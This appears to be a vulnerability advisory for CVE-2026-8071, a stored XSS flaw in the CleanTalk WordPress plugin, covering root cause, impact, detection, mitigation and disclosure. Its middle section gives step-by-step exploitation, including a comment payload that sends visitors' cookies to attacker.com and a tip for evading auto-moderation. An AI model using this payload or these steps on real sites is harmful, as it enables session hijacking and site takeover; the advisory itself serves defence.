CVE-2026-8071: 
WordPress vulnerability analysis and mitigation

CVE-2026-8071 is an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the "Anti-Spam by CleanTalk. Spam protection" WordPress plugin (also known as cleantalk-spam-protect). The flaw affects all versions before 6.79 and was publicly disclosed on May 20, 2026, with NVD publication on June 10, 2026. It carries a CVSS v3.1 base score of 8.8 (High), assigned by WPScan (WPScan, GitHub Advisory).

The root cause is improper input sanitization (CWE-79) within a custom shortcode ([apbct_encode_data]) used by the plugin's email-encoding feature. When a comment containing a malicious payload within this shortcode is submitted and approved, the plugin fails to sanitize the shortcode content before rendering it in the page, resulting in stored XSS. Exploitation requires the plugin's email/contact encoder to be active (gated by a valid CleanTalk access key, which is the standard post-onboarding state), and the malicious comment must be approved — either automatically by CleanTalk's moderation or manually by an administrator. A proof-of-concept was published by researcher Matthew Rollings, demonstrating that a crafted comment such as [apbct_encode_data]Test<script>alert(1337)</script> triggers script execution for any visitor viewing the post (WPScan).

Successful exploitation allows an unauthenticated attacker to persistently inject arbitrary JavaScript into WordPress posts, which executes in the browsers of all users — including administrators — who view the affected content. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and full site compromise. The high confidentiality, integrity, and availability impact scores reflect the potential for complete takeover of the WordPress site when an administrator's session is hijacked (GitHub Advisory, WPScan).

1. Reconnaissance: Identify WordPress sites running the cleantalk-spam-protect plugin in a version prior to 6.79 with a valid CleanTalk access key configured (i.e., the email-encoding feature is active). Tools like WPScan or Shodan can be used to enumerate plugin versions on target sites.
2. Craft malicious comment: Prepare a comment payload embedding a JavaScript payload within the vulnerable shortcode, e.g.:

[apbct_encode_data]LegitName & Contact<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Use a realistic-looking email address to improve the chances of passing CleanTalk's auto-moderation. 3. Submit comment: Post the crafted comment as an unauthenticated visitor on any post of the target WordPress site. 4. Await approval: Wait for the comment to be auto-approved by CleanTalk's spam filter, or for an administrator to manually approve it via the WordPress dashboard. 5. Trigger execution: Once approved, any user (including administrators) who views the post will have the injected script execute in their browser, enabling session cookie theft, credential harvesting, or further administrative actions (WPScan).

• Logs: WordPress comment logs or database entries containing the [apbct_encode_data] shortcode alongside <script> tags or encoded JavaScript payloads in comment content fields.
• Network: Outbound HTTP requests from administrator browsers to unfamiliar external domains shortly after viewing posts with comments; unusual POST requests to attacker-controlled endpoints carrying cookie or session data.
• File System: Unexpected new WordPress admin accounts, newly installed plugins, or modified theme files that may indicate post-exploitation activity following session hijacking.
• Process/Application: WordPress audit logs (if enabled) showing new administrator account creation, plugin installations, or settings changes not initiated by known administrators, particularly following comment approval events.

Update the cleantalk-spam-protect plugin to version 6.79 or later, which contains the fix for improper shortcode sanitization. As an interim measure, administrators can temporarily disable the email/contact encoder feature within the plugin settings, or restrict comment submission to authenticated users only. Additionally, review existing approved comments for any suspicious use of the [apbct_encode_data] shortcode and remove or unapprove any that contain script content. Monitor WordPress admin activity logs for signs of unauthorized changes that may indicate prior exploitation (WPScan, GitHub Advisory).

Wordfence included this vulnerability in their weekly WordPress vulnerability report for the period of June 8–14, 2026, highlighting it as a notable stored XSS issue affecting a widely-used anti-spam plugin. The vulnerability was discovered and responsibly disclosed by researcher Matthew Rollings (Twitter: @stealthcopter), who published a detailed proof-of-concept. No broader media coverage or significant social media discussion beyond standard vulnerability aggregator postings has been observed (Wordfence Blog, WPScan).